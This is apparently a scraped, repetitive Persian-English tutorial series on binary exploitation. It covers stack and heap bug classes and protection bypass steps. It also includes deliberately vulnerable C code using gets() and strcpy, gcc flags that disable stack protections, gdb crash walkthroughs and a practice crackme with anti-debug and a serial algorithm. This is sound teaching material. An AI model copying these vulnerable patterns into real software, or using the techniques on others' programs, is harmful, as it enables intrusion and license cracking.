فرض کنید یه برنامهی C دارید که ورودی کاربر رو بدون بررسی میگیره و توی یه بافر کپی میکنه اگه بیشتر از ظرفیت بافر داده بدید میتونید داده هاتون رو توی قسمت های مهم حافظه بنویسید و برنامه رو مجبور کنید کاری که شما میخاید انجام بده
به این میگن Binary Exploitation یعنی استفاده از باگ های حافظه یا منطقی برای گرفتن کنترل Execution
🧱 ساختار پایهای حافظه فرایند:
برای درک Binary Exploitation باید با ساختار حافظه یه برنامه اشنا باشید:
┌───────────────┐ ← آدرسهای بالا
│ Stack │ ← شامل متغیرهای لوکال، Return Addressها
├───────────────┤
│ Heap │ ← شامل آبجکتهای داینامیک (malloc/new)
├───────────────┤
│ BSS & Data │ ← متغیرهای global/static
├───────────────┤
│ Text (.text) │ ← کد برنامه (read-only)
└───────────────┘ ← آدرسهای پایین
اکسپلویت معمولا توی Stack یا Heap اتفاق میوفته
🧨 مهمترین نوع باگها در Binary Exploitation
نوع آسیب پذیری:
Buffer Overflow
نوشتن داده بیش از حد مجاز داخل بافر میتونه Return Address رو overwrite کنه
Stack-based Overflow Overflow
توی استک معمولا برای کنترل EIP/RIP استفاده میشه
Heap Overflow
اورفلو توی Heap باعث خرابی ساختار های malloc میشه
Use-After-Free
استفاده از اشاره گر بعد از free کردن باعث کنترل حافظه آزاد شده میشه
Format String Bug
استفاده ناامن از printf میتونه memory leak یا write بده
Integer Overflow/Underflow
باعث خطا در تخصیص حافظه یا bypass کردن چک ها میشه
Double Free
آزاد کردن یک pointer دوبار منجر به corruption توی heap میشه
🧭 مراحل کلی Binary Exploitation:
کرش ایجاد کنید Bug Trigger:
با ورودی خاص باعث کرش برنامه شید
مثلا با یک رشته خیلی بلند بافر رو سرریز کنید
باگ رو آنالیز کنید:
از gdb, pwndbg, gef, یا radare2 استفاده کنید
بفهم چی دقیقا overwrite شده چه رجیستر هایی قابل کنترل هستن و جریان اجرای برنامه چطوریه
لیک اطلاعات امنیتی:
برای بایپس کردن ASLR یا PIE باید آدرس ها رو leak کنید
مثلا از format string استفاده میکنید تا pointer ها رو چاپ کنید
ساخت Payload Exploit:
مثلا ROP chain یا Shellcode بسازید
با دقت Return Address رو به گجتها یا shellcode خودتون تغییر بدید
بایپس کردن Protections:
مرورگرها و باینریهای مدرن محافظتهایی دارن مثل:
ASLR
آدرس ها تصادفی میشن باید leak بگیری
NX / DEP
استک اجرایی نیست باید ROP استفاده کنید
Canary
محافظت در برابر overflow باید نشتش بدید یا دورش بزنید
PIE / RELRO
سختتر کردن کنترل GOT/PLT
گرفتن کنترل نهایی:
معمولا exploit به یکی از این ها ختم میشه:
اجرای Shellcode و گرفتن شل 🐚
اجرای ROP chain برای اجرای دستورات سیستم
تغییر رفتار برنامه به نفع مهاجم
🧰 ابزارهای مهم در Binary Exploitation
ابزارهای پرکاربرد:
gdb + pwndbg یا gef دیباگ و آنالیز کرش و حافظه
radare2, Ghidra, IDA Pro مهندسی معکوس باینری
ROPgadget, ROPPER پیدا کردن گجتهای ROP
pwntools ساخت سریع اکسپلویت با پایتون
angr, Qiling تحلیل سمبولیک یا امولیشن پیشرفته
checksec بررسی محافظت های باینری
🧪 مثال خیلی ساده Stack Overflow کلاسیک
کد آسیبپذیر:
اگه توی ورودی بیشتر از 64 بایت بدید میتونی Return Address رو overwrite کنید و برنامه رو به جای برگشت به main بفرستید روی آدرس shellcode خودتون
Binary Exploitation
It means finding and exploiting bugs or security weaknesses in binary executable programs to change the flow of program execution or execute the attacker's desired code
Simpler definition:
Suppose you have a C program that takes user input without checking and copies it into a buffer. If you give it more than the buffer capacity, you can write your data into important parts of memory and force the program to do what you want
This is called Binary Exploitation, which means using memory or logic bugs to take control of Execution
🧱 Basic Structure of Process Memory:
To understand Binary Exploitation, you need to be familiar with the memory structure of a program:
یعنی پیدا کردن و سواستفاده از باگها یا ضعفهای امنیتی داخل برنامههای باینری Executable ها برای تغییر جریان اجرای برنامه یا اجرای کد دلخواه مهاجم
تعریف سادهتر:
فرض کنید یه برنامهی C دارید که ورودی کاربر رو بدون بررسی میگیره و توی یه بافر کپی میکنه اگه بیشتر از ظرفیت بافر داده بدید میتونید داده هاتون رو توی قسمت های مهم حافظه بنویسید و برنامه رو مجبور کنید کاری که شما میخاید انجام بده
به این میگن Binary Exploitation یعنی استفاده از باگ های حافظه یا منطقی برای گرفتن کنترل Execution
🧱 ساختار پایهای حافظه فرایند:
برای درک Binary Exploitation باید با ساختار حافظه یه برنامه اشنا باشید:
┌───────────────┐ ← آدرسهای بالا
│ Stack │ ← شامل متغیرهای لوکال، Return Addressها
├───────────────┤
│ Heap │ ← شامل آبجکتهای داینامیک (malloc/new)
├───────────────┤
│ BSS & Data │ ← متغیرهای global/static
├───────────────┤
│ Text (.text) │ ← کد برنامه (read-only)
└───────────────┘ ← آدرسهای پایین
اکسپلویت معمولا توی Stack یا Heap اتفاق میوفته
🧨 مهمترین نوع باگها در Binary Exploitation
نوع آسیب پذیری:
Buffer Overflow
نوشتن داده بیش از حد مجاز داخل بافر میتونه Return Address رو overwrite کنه
Stack-based Overflow Overflow
توی استک معمولا برای کنترل EIP/RIP استفاده میشه
Heap Overflow
اورفلو توی Heap باعث خرابی ساختار های malloc میشه
Use-After-Free
استفاده از اشاره گر بعد از free کردن باعث کنترل حافظه آزاد شده میشه
Format String Bug
استفاده ناامن از printf میتونه memory leak یا write بده
Integer Overflow/Underflow
باعث خطا در تخصیص حافظه یا bypass کردن چک ها میشه
Double Free
آزاد کردن یک pointer دوبار منجر به corruption توی heap میشه
🧭 مراحل کلی Binary Exploitation:
کرش ایجاد کنید Bug Trigger:
با ورودی خاص باعث کرش برنامه شید
مثلا با یک رشته خیلی بلند بافر رو سرریز کنید
باگ رو آنالیز کنید:
از gdb, pwndbg, gef, یا radare2 استفاده کنید
بفهم چی دقیقا overwrite شده چه رجیستر هایی قابل کنترل هستن و جریان اجرای برنامه چطوریه
لیک اطلاعات امنیتی:
برای بایپس کردن ASLR یا PIE باید آدرس ها رو leak کنید
مثلا از format string استفاده میکنید تا pointer ها رو چاپ کنید
ساخت Payload Exploit:
مثلا ROP chain یا Shellcode بسازید
با دقت Return Address رو به گجتها یا shellcode خودتون تغییر بدید
بایپس کردن Protections:
مرورگرها و باینریهای مدرن محافظتهایی دارن مثل:
ASLR
آدرس ها تصادفی میشن باید leak بگیری
NX / DEP
استک اجرایی نیست باید ROP استفاده کنید
Canary
محافظت در برابر overflow باید نشتش بدید یا دورش بزنید
PIE / RELRO
سختتر کردن کنترل GOT/PLT
گرفتن کنترل نهایی:
معمولا exploit به یکی از این ها ختم میشه:
اجرای Shellcode و گرفتن شل 🐚
اجرای ROP chain برای اجرای دستورات سیستم
تغییر رفتار برنامه به نفع مهاجم
🧰 ابزارهای مهم در Binary Exploitation
ابزارهای پرکاربرد:
gdb + pwndbg یا gef دیباگ و آنالیز کرش و حافظه
radare2, Ghidra, IDA Pro مهندسی معکوس باینری
ROPgadget, ROPPER پیدا کردن گجتهای ROP
pwntools ساخت سریع اکسپلویت با پایتون
angr, Qiling تحلیل سمبولیک یا امولیشن پیشرفته
checksec بررسی محافظت های باینری
🧪 مثال خیلی ساده Stack Overflow کلاسیک
کد آسیبپذیر:
#include <stdio.h>
#include <string.h>
void vuln() {
char buf[64];
gets(buf); // ❌ ناامن
printf("You said: %s\n", buf);
}
int main() {
vuln();
return 0;
}
اگه توی ورودی بیشتر از 64 بایت بدید میتونی Return Address رو overwrite کنید و برنامه رو به جای برگشت به main بفرستید روی آدرس shellcode خودتون
Binary Exploitation
It means finding and exploiting bugs or security weaknesses in binary executable programs to change the flow of program execution or execute the attacker's desired code
Simpler definition:
Suppose you have a C program that takes user input without checking and copies it into a buffer. If you give it more than the buffer capacity, you can write your data into important parts of memory and force the program to do what you want
This is called Binary Exploitation, which means using memory or logic bugs to take control of Execution
🧱 Basic Structure of Process Memory:
To understand Binary Exploitation, you need to be familiar with the memory structure of a program:
❤3
┌──────────────┐ ← High Addresses
│ Stack │ ← Contains Local Variables, Return Addresses
├──────────────┤
│ Heap │ ← Contains Dynamic Objects (malloc/new)
├────────────────────────────────────
│ BSS & Data │ ← Global/static variables
├───────────────────────┘ ← Lower addresses
Exploits usually occur in the Stack or Heap
🧨 Most important types of bugs in Binary Exploitation
Type of vulnerability:
Buffer Overflow
Writing more data than allowed into the buffer can overwrite the Return Address
Stack-based Overflow Overflow
The stack is usually used to control EIP/RIP
Heap Overflow
Overflow in the heap causes malloc structures to fail
Use-After-Free
Using a pointer after freeing causes control over freed memory
Format String Bug
Unsafe use of printf can cause memory leak or write
Integer Overflow/Underflow
Causes memory allocation or bypass errors Checks are
Double Free
Freeing a pointer twice leads to heap corruption
🧭 General steps of Binary Exploitation:
Create a crash Bug Trigger:
Make the program crash with specific input
For example, overflow the buffer with a very long string
Analyze the bug:
Use gdb, pwndbg, gef, or radare2
Understand what exactly was overwritten, what registers are controllable, and what the execution flow is like
Leak Security Information:
To bypass ASLR or PIE, you need to leak addresses
For example, you use a format string to print pointers
Build Payload Exploit:
For example, build a ROP chain or Shellcode
Carefully change the Return Address to your gadgets or shellcode
Bypass Protections:
Modern browsers and binaries have protections such as:
ASLR
Addresses are randomized, you need to leak
NX / DEP
Stack is not executable, you should use ROP
Canary
Overflow protection should be leaked or bypassed
PIE / RELRO
Hardening GOT/PLT control
Taking ultimate control:
Usually an exploit ends in one of the following:
Executing Shellcode and getting a shell 🐚
Executing ROP chain to execute system commands
Changing program behavior in favor of the attacker
🧰 Important tools in Binary Exploitation
Most used tools:
gdb + pwndbg or gef
Debugging and crash and memory analysis
radare2, Ghidra, IDA Pro
Binary reverse engineering
ROPgadget, ROPPER
Finding ROP gadgets
pwntools
Quickly building exploits with Python
angr, Qiling
Symbolic analysis or advanced emulation
checksec Checking binary protections
🧪 Very simple classic Stack Overflow example
Vulnerable code:
If you give more than 64 bytes in input, you can overwrite the Return Address and send the program to your shellcode address instead of returning to main
@reverseengine
│ Stack │ ← Contains Local Variables, Return Addresses
├──────────────┤
│ Heap │ ← Contains Dynamic Objects (malloc/new)
├────────────────────────────────────
│ BSS & Data │ ← Global/static variables
├───────────────────────┘ ← Lower addresses
Exploits usually occur in the Stack or Heap
🧨 Most important types of bugs in Binary Exploitation
Type of vulnerability:
Buffer Overflow
Writing more data than allowed into the buffer can overwrite the Return Address
Stack-based Overflow Overflow
The stack is usually used to control EIP/RIP
Heap Overflow
Overflow in the heap causes malloc structures to fail
Use-After-Free
Using a pointer after freeing causes control over freed memory
Format String Bug
Unsafe use of printf can cause memory leak or write
Integer Overflow/Underflow
Causes memory allocation or bypass errors Checks are
Double Free
Freeing a pointer twice leads to heap corruption
🧭 General steps of Binary Exploitation:
Create a crash Bug Trigger:
Make the program crash with specific input
For example, overflow the buffer with a very long string
Analyze the bug:
Use gdb, pwndbg, gef, or radare2
Understand what exactly was overwritten, what registers are controllable, and what the execution flow is like
Leak Security Information:
To bypass ASLR or PIE, you need to leak addresses
For example, you use a format string to print pointers
Build Payload Exploit:
For example, build a ROP chain or Shellcode
Carefully change the Return Address to your gadgets or shellcode
Bypass Protections:
Modern browsers and binaries have protections such as:
ASLR
Addresses are randomized, you need to leak
NX / DEP
Stack is not executable, you should use ROP
Canary
Overflow protection should be leaked or bypassed
PIE / RELRO
Hardening GOT/PLT control
Taking ultimate control:
Usually an exploit ends in one of the following:
Executing Shellcode and getting a shell 🐚
Executing ROP chain to execute system commands
Changing program behavior in favor of the attacker
🧰 Important tools in Binary Exploitation
Most used tools:
gdb + pwndbg or gef
Debugging and crash and memory analysis
radare2, Ghidra, IDA Pro
Binary reverse engineering
ROPgadget, ROPPER
Finding ROP gadgets
pwntools
Quickly building exploits with Python
angr, Qiling
Symbolic analysis or advanced emulation
checksec Checking binary protections
🧪 Very simple classic Stack Overflow example
Vulnerable code:
#include <stdio.h>
#include <string.h>
void vuln() {
char buf[64];
gets(buf); // ❌ Insecure
printf("You said: %s\n", buf);
}
int main() {
vuln();
return 0;
}
If you give more than 64 bytes in input, you can overwrite the Return Address and send the program to your shellcode address instead of returning to main
@reverseengine
❤7
بخش پنجم بافر اورفلو
off by one
off by one زمانی رخ میده که دقیقا یک بایت یا یک واحد کمتر یا بیشتر در نوشتن تحت کنترل باشه
این خطاها کوچک به نظر میرسن اما میتونن باعث تغییر یک بایت از saved rbp یا تغییر null terminator رشته بشن و رفتار غیرمنتظره ایجاد کنن
تشخیص off by one نیاز به دقت در اندازه ها و دیدن بایت های محلی داره
توضیح کد:
در این کد نشون میدیم که نوشتن دقیقا یک بایت میتونه نال ترمینیتور رشته رو از بین ببره یا بایت مهمی رو تغییر بده
هدف دیدن خروجی متفاوت رشته هست
کد آف بای وان offbyone.c
#include <stdio.h>
#include <string.h>
int main() {
char s[8];
/* suppose we incorrectly copy 9 bytes into 8 byte buffer */
memcpy(s, "ABCDEFGH", 8);
s[7] = 'Z'; /* simulate off by one by modifying last byte */
printf("string maybe not null terminated %s\n", s);
return 0;
}
دستورات رو اجرا کنید و ببینید off by one
این مثال رو اجرا کنید و خروجی رو نگاه کنید تا مشکل در اخر رشته مشخص بشه
gcc -g offbyone.c -o offbyone
./offbyone
ببینید که رشته ممکنه نال ترمینیت نشده باشه
Part 5 Buffer Overflow
off by one
off by one occurs when exactly one byte or one unit is under control in the write
These errors seem small, but they can change a byte from the saved rbp or change the null terminator of the string and cause unexpected behavior
Detecting off by one requires accuracy in sizes and seeing local bytes
Code explanation:
In this code, we show that writing exactly one byte can remove the null terminator of the string or change an important byte
The goal is to see different output of the string
Off by one code offbyone.c
#include <stdio.h>
#include <string.h>
int main() {
char s[8];
/* suppose we incorrectly copy 9 bytes into 8 byte buffer */
memcpy(s, "ABCDEFGH", 8);
s[7] = 'Z'; /* simulate off by one by modifying last byte */
printf("string maybe not null terminated %s\n", s);
return 0;
}
Run the commands and see off by one
Run this example and look at the output to see if the problem is at the end of the string
gcc -g offbyone.c -o offbyone
./offbyone
See if the string might not be null terminated
@reverseengine
❤4
روش کامپایل
فایل: vuln.c
قرار بدید داخل فولدری که تمرین میکنید
// vuln.c VM ایزوله اجرا بشه
🔧 کامپایل دو حالت
نسخه ساده محافظت ها غیر فعال
این نسخه برای دیدن رفتارهای پایه ای overflow و آموزشه فقط داخل VM اجرا کنید
نسخه مقاومتر پیشفرض کامپایلر
این نسخه محافظت های معمول canary, NX, PIE و ... فعالن و برای مقایسه استفاده میشن
چند تا نکته کوتاه:
gets()
نا امنه اینجا فقط برای نمایش overflow استفاده شده
Compile method
File: vuln.c
Place it in the folder where you are practicing
// vuln.c will run in an isolated VM
🔧 Two-mode compilation
Simple version with protections disabled
Run this version in a VM to see basic overflow behavior and tutorial
More robust version of the compiler default
This version has the usual protections of canary, NX, PIE, etc. enabled and is used for comparison
A few quick notes:
gets()
Unsafe is used here only to demonstrate overflow
@reverseengine
فایل: vuln.c
قرار بدید داخل فولدری که تمرین میکنید
// vuln.c VM ایزوله اجرا بشه
#include <stdio.h>
#include <string.h>
void vuln() {
char buf[64];
puts("Enter some text:");
gets(buf); // فقط برای آموزش در عمل هرگز استفاده نکنید
printf("You entered: %s\n", buf);
}
int main() {
vuln();
return 0;
}
🔧 کامپایل دو حالت
نسخه ساده محافظت ها غیر فعال
gcc -o vuln_plain vuln.c -fno-stack-protector -z execstack -no-pie -g
این نسخه برای دیدن رفتارهای پایه ای overflow و آموزشه فقط داخل VM اجرا کنید
نسخه مقاومتر پیشفرض کامپایلر
gcc -o vuln_hard vuln.c -g
این نسخه محافظت های معمول canary, NX, PIE و ... فعالن و برای مقایسه استفاده میشن
چند تا نکته کوتاه:
gets()
نا امنه اینجا فقط برای نمایش overflow استفاده شده
Compile method
File: vuln.c
Place it in the folder where you are practicing
// vuln.c will run in an isolated VM
#include <stdio.h>
#include <string.h>
void vuln() {
char buf[64];
puts("Enter some text:");
gets(buf); // For training purposes only, never use in practice
printf("You entered: %s\n", buf);
}
int main() {
vuln();
return 0;
}
🔧 Two-mode compilation
Simple version with protections disabled
gcc -o vuln_plain vuln.c -fno-stack-protector -z execstack -no-pie -g
Run this version in a VM to see basic overflow behavior and tutorial
More robust version of the compiler default
gcc -o vuln_hard vuln.c -g
This version has the usual protections of canary, NX, PIE, etc. enabled and is used for comparison
A few quick notes:
gets()
Unsafe is used here only to demonstrate overflow
@reverseengine
❤3
بخش ششم بافر اورفلو
درک دقیق کرش و ساختار فریم تابع در استک
در این بخش میخایم ببینیم وقتی بافر اورفلو باعث کرش میشه دقیقا در پشت صحنه چه اتفاقی میوفته باید بعد از این قسمت
بفهمیم چرا بازنویسی داده در استک باعث تغییر آدرس برگشت میشه
فریم تابع چه اجزایی داره
و چطور میشه این اجزا رو با gdb دید و تحلیل کرد
وقتی یک تابع در C صدا زده میشه سیستم برای اون تابع فضایی در استک درست میکنه به این فضا میگیم فریم تابع هر فریم شامل این بخش هاست
متغیرهای لوکال تابع
مقادیر پارامترها
saved RBP یا base pointer
برای برگشت
saved return address
که بعد از تموم شدن تابع بهش برمیگرده
اگر داده ای بیشتر از اندازه در بافر لوکال نوشته بشه این مقادیر مهم در فریم بازنویسی میشن
و در نتیجه برنامه در return کرش میکنه یا به آدرس اشتباه میپره
این کد کمک میکنه تا فریم تابع و کرش رو ببینیم و در gdb تجزیه ش کنیم
#include <stdio.h>
#include <string.h>
void crash(char *input) {
char buffer[16];
printf("address of buffer: %p\n", buffer);
strcpy(buffer, input);
printf("done copying\n");
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage: %s input\n", argv[0]);
return 1;
}
crash(argv[1]);
printf("returned safely\n");
return 0;
}
دستورات اجرا و تحلیل
gcc -g file4.c -o file4
gdb --args ./file4 $(python3 -c "print('A'*40)")
بعد از اجرای برنامه داخل gdb این مراحل رو انجام بدید
break crash
run
info frame
x/32x $rbp
x/32x $rsp
اینجا میبینید که بافر پایین تر از saved RBP قرار داره
هر بایتی که از بافر بیرون بنویسید در اخر به saved RBP و بعد return address میرسه
برای مشاهده کرش
continue
برنامه با خطای segmentation fault کرش میکنه
با دستور زیر مسیر برگشت رو ببینید
backtrace
و با این دستور آخرین آدرس برگشتی رو چک کنید
info registers rip
توضیح کامل
در هنگام اجرای تابع crash سیستم اول RBP فعلی رو ذخیره میکنه
بعد RSP رو به پایین تر منتقل میکنه تا فضای لازم برای متغیر های لوکال فراهم بشه
داخل این فضای جدید بافر قرار داره
وقتی ما داده ای بزرگ تر از اندازه بافر بنویسیم اول داده روی متغیر های لوکال مینویسن بعد روی RBP و بعد روی return address
در لحظهای که تابع میخاد برگرده مقدار اشتباه از روی استک خونده میشه و RIP به آدرسی اشتباه پرش میکنه و همین باعث segmentation fault میشه
بخش جذاب
میتونید در gdb با این دستور تفاوت قبل و بعد از overflow رو ببینید
قبل از strcpy
x/32x $rbp-32
بعد از strcpy
x/32x $rbp-32
میبینید که بایتهای A تمام فضای بین بافر تا return address رو پر کرده
این همون دلیل کرش برنامه هست
@reverseengine
❤3
Part 6 Buffer Overflow
Understanding the Crash and the Structure of the Function Frame on the Stack
In this part, we are going to see what exactly happens behind the scenes when a buffer overflow causes a crash. After this part, we should
understand why overwriting data on the stack changes the return address.
What are the components of a function frame?
And how can these components be viewed and analyzed with gdb.
When a function is called in C, the system creates a space on the stack for that function. We call this space the function frame. Each frame contains these parts.
Local variables of the function
Parameter values
Saved RBP or base pointer
for return
Saved return address
which the function returns to after the function completes
If more data is written to the local buffer than the limit, these important values are overwritten in the frame
And as a result, the program crashes on return or jumps to the wrong address
This code helps us see the function frame and crash and analyze it in gdb
#include <stdio.h>
#include <string.h>
void crash(char *input) {
char buffer[16];
printf("address of buffer: %p\n", buffer);
strcpy(buffer, input);
printf("done copying\n");
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage: %s input\n", argv[0]);
return 1;
}
crash(argv[1]);
printf("returned safely\n");
return 0;
}
Execution and analysis commands
gcc -g file4.c -o file4
gdb --args ./file4 $(python3 -c "print('A'*40)")
After running the program in gdb, perform these steps
break crash
run
info frame
x/32x $rbp
x/32x $rsp
Here you can see that the buffer is below the saved RBP
Every byte you write out of the buffer will eventually reach the saved RBP and then the return address
To view the crash
continue
The program crashes with a segmentation fault error
See the return path with the following command
backtrace
And check the last return address with this command
info registers rip
Full explanation
When executing the crash function, the system first saves the current RBP
Then it moves the RSP down to provide the necessary space for local variables
In this new buffer space, Yes
When we write data larger than the buffer size, first the data is written to local variables, then to RBP, and then to the return address
At the moment the function wants to return, the wrong value is read from the stack and RIP jumps to the wrong address, which causes a segmentation fault
Interesting part
You can see the difference before and after the overflow in gdb with this command
Before strcpy
x/32x $rbp-32
After strcpy
x/32x $rbp-32
You can see that the A bytes have filled all the space between the buffer and the return address
This is the reason for the program crash
@reverseengine
❤4
ساخت یک باینری نیتیو (Win32) شبیه سازی شده که مکانیزم های واقعی حفاظت آنتی دیباگ ساده چک یکپارچگی تولید سریال بر اساس اسم داخل داشته باشه تا بدون ریسک قانونی بتونید تمرین RE و عملیات کرک سازی رو انجام بدید
ویژگیها:
GUI
ساده با فیلدهای Name و Serial و دکمه Activate & Play
Anti-Debug: فراخوانی
IsDebuggerPresent() قبل از فعالسازی
Integrity (شبیهسازی):
بررسی ساده مسیر exe قابل ارتقا به checksum واقعی
الگوریتم سریال: تابع gen_expected_serial که روی نام کاربر s = s*31 + ch انجام میده و بعد سه گروه 16بیتی با XOR/شیفت میسازه خروجی در قالب AAAA-BBBB-CCCC
پیام موفق/ناموفق با MessageBoxA.
هشدار اخلاقی/قانونی: این کد فقط برای تمرین روی باینری ایه که خودتون ساختید کرک و انتشار کرک نرم افزارهای تجاری غیرقانونیه
کد کامل فایل hotspot_sim.c
کد رو دقیقا در یک فایل به اسم hotspot_sim.c ذخیره کنید
// hotspot_sim.c
یک برنامه شبیه سازی شده برای تمرین RE
ویژگیها:
GUI
ساده با فیلدهای Name و Serial و دکمه Activate & Play
Anti-Debug: فراخوانی
IsDebuggerPresent() قبل از فعالسازی
Integrity (شبیهسازی):
بررسی ساده مسیر exe قابل ارتقا به checksum واقعی
الگوریتم سریال: تابع gen_expected_serial که روی نام کاربر s = s*31 + ch انجام میده و بعد سه گروه 16بیتی با XOR/شیفت میسازه خروجی در قالب AAAA-BBBB-CCCC
پیام موفق/ناموفق با MessageBoxA.
هشدار اخلاقی/قانونی: این کد فقط برای تمرین روی باینری ایه که خودتون ساختید کرک و انتشار کرک نرم افزارهای تجاری غیرقانونیه
کد کامل فایل hotspot_sim.c
کد رو دقیقا در یک فایل به اسم hotspot_sim.c ذخیره کنید
// hotspot_sim.c
یک برنامه شبیه سازی شده برای تمرین RE
#include <windows.h>
#include <stdio.h>
#include <string.h>
// شناساگر کنترلها
#define IDC_NAME 1001
#define IDC_SERIAL 1002
#define IDC_BUTTON 1003
// یه تابع ساده برای ساختن سریال مورد انتظار بر اساس اسم کاربر
// فرمت خروجی: AAAA-BBBB-CCCC (اعداد هگز چهار رقمی)
void gen_expected_serial(const char *name, char *out, size_t outlen)
{
unsigned long s = 0;
// جمع مقادیر کاراکترها رو میگیریم
for (size_t i = 0; i < strlen(name); ++i) {
s = s * 31 + (unsigned char)name[i]; // یه ضرب و جمع ساده
}
// میایم سه گروه 16 بیتی میسازیم
unsigned g1 = (unsigned)((s ^ 0xA5A5A5A5) & 0xFFFF);
unsigned g2 = (unsigned)(((s >> 3) ^ 0x5A5A5A5A) & 0xFFFF);
unsigned g3 = (unsigned)(((s << 7) ^ 0x3C3C3C3C) & 0xFFFF);
// قالببندی نهایی
_snprintf_s(out, outlen, _TRUNCATE, "%04X-%04X-%04X", g1, g2, g3);
}
// تابعی که سریال ورودی رو با سریال تولیدشده مقایسه میکنه
int verify_serial(const char *name, const char *serial)
{
char expected[64];
gen_expected_serial(name, expected, sizeof(expected));
// اینجا مقایسهٔ ساده میکنیم (حساس به حروف)
if (_stricmp(expected, serial) == 0) return 1;
return 0;
}
// تابعی که integrity ساده رو شبیهسازی میکنه
// اینجا فقط چک میکنیم که exe path طول مشخصی داشته باشه (نمونهست)
int integrity_ok()
{
char path[MAX_PATH];
if (GetModuleFileNameA(NULL, path, MAX_PATH) == 0) return 0;
size_t L = strlen(path);
// شبیهسازی: اگه طول مسیر خیلی کوتاه باشه یا خیلی بلند باشه خطا بدیم
if (L < 5) return 0;
return 1;
}
// پنجره اصلی و پردازش پیامها
LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch (msg)
{
case WM_CREATE:
{
// یک لیبل و یک فیلد برای نام
CreateWindowA("static", "Name:", WS_VISIBLE | WS_CHILD, 10, 10, 50, 20, hWnd, NULL, NULL, NULL);
CreateWindowA("edit", "", WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOHSCROLL,
70, 10, 240, 22, hWnd, (HMENU)IDC_NAME, NULL, NULL);
// لیبل و فیلد سریال
CreateWindowA("static", "Serial:", WS_VISIBLE | WS_CHILD, 10, 40, 50, 20, hWnd, NULL, NULL, NULL);
CreateWindowA("edit", "", WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOHSCROLL,
70, 40, 240, 22, hWnd, (HMENU)IDC_SERIAL, NULL, NULL);
// دکمه Activate
CreateWindowA("button", "Activate & Play", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,
110, 80, 120, 30, hWnd, (HMENU)IDC_BUTTON, NULL, NULL);
break;
}
case WM_COMMAND:
{
if (LOWORD(wParam) == IDC_BUTTON)
{
// اگه دیباگر باشه لغو میکنیم
if (IsDebuggerPresent()) {
MessageBoxA(hWnd, "Activation failed: debugger detected.", "Error", MB_OK | MB_ICONERROR);
break;
}
// integrity ساده
if (!integrity_ok()) {
MessageBoxA(hWnd, "Activation failed: integrity check failed.", "Error", MB_OK | MB_ICONERROR);
❤1
break;
}
// گرفتن متن از کنترل ها
char name[128] = {0};
char serial[128] = {0};
HWND hName = GetDlgItem(hWnd, IDC_NAME);
HWND hSerial = GetDlgItem(hWnd, IDC_SERIAL);
GetWindowTextA(hName, name, sizeof(name));
GetWindowTextA(hSerial, serial, sizeof(serial));
// پاک کردن فضای خالی ابتدای/انتهای رشته
if (strlen(name) == 0) {
MessageBoxA(hWnd, "Please enter your name first.", "Info", MB_OK | MB_ICONINFORMATION);
break;
}
if (strlen(serial) == 0) {
MessageBoxA(hWnd, "Please enter serial.", "Info", MB_OK | MB_ICONINFORMATION);
break;
}
// بررسی سریال
if (verify_serial(name, serial)) {
MessageBoxA(hWnd, "Activation successful! Playing...", "OK", MB_OK | MB_ICONINFORMATION);
} else {
MessageBoxA(hWnd, "Invalid serial!", "Error", MB_OK | MB_ICONERROR);
}
}
break;
}
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProcA(hWnd, msg, wParam, lParam);
}
return 0;
}
// نقطهٔ ورود برنامه ویندوزی
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
// ساخت کلاس پنجره
WNDCLASSA wc = {0};
wc.lpfnWndProc = WndProc;
wc.hInstance = hInstance;
wc.lpszClassName = "HotspotSimClass";
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
if (!RegisterClassA(&wc)) return -1;
// ساخت پنجره
HWND hWnd = CreateWindowA("HotspotSimClass", "Hotspot Player (Simulated - Native)",
WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX,
CW_USEDEFAULT, CW_USEDEFAULT, 340, 160, NULL, NULL, hInstance, NULL);
if (!hWnd) return -1;
ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
// لوپ پیام ساده
MSG msg;
while (GetMessageA(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessageA(&msg);
}
return (int)msg.wParam;
}
Build a simulated native (Win32) binary that has real anti-debug protection mechanisms, simple integrity check, serial generation based on the name inside, so you can practice RE and cracking operations without legal risk
Features:
Simple GUI
with Name and Serial fields and Activate & Play button
Anti-Debug: Call
IsDebuggerPresent() before activation
Integrity (simulation):
Simple check of exe path, upgradeable to real checksum
Serial algorithm: gen_expected_serial function that does s = s*31 + ch on the username and then creates three 16-bit groups with XOR/shift. Output in the format AAAA-BBBB-CCCC
Success/Failure message with MessageBoxA.
Ethical/Legal Warning: This code is for practice only on a binary that you have created yourself. Cracking and distributing commercial software is illegal
Full code of the hotspot_sim.c file
Save the code exactly in a file named hotspot_sim.c
// hotspot_sim.c
A simulated program for practicing RE
Simple and vernacular explanations and comments
#include <windows.h>
#include <stdio.h>
#include <string.h>
// Control identifiers
#define IDC_NAME 1001
#define IDC_SERIAL 1002
#define IDC_BUTTON 1003
// A simple function to generate the expected serial based on the user name
// Output format: AAAA-BBBB-CCCC (four-digit hex numbers)
void gen_expected_serial(const char *name, char *out, size_t outlen)
{
unsigned long s = 0;
// We take the sum of the character values
for (size_t i = 0; i < strlen(name); ++i) {
s = s * 31 + (unsigned char)name[i]; // A simple multiplication and addition
}
// Let's create three 16-bit groups
unsigned g1 = (unsigned)((s ^ 0xA5A5A5A5) & 0xFFFF);
unsigned g2 = (unsigned)(((s >> 3) ^ 0x5A5A5A5A) & 0xFFFF);
unsigned g3 = (unsigned)(((s << 7) ^ 0x3C3C3C3C) & 0xFFFF);
// Final formatting
_snprintf_s(out, outlen, _TRUNCATE, "%04X-%04X-%04X", g1, g2, g3);
}
❤1
برنامه کمکی: تولید سریال فایل: gen_serial.c
برای راحتی کار و تمرین یک برنامه C ساده که همون الگوریتم رو اجرا میکنه و سریال برای یک اسم میسازه
// gen_serial.c
// برنامه ساده برای تولید سریال بر اساس اسم
نحوه ساخت Build
با MinGW (در ویندوز):
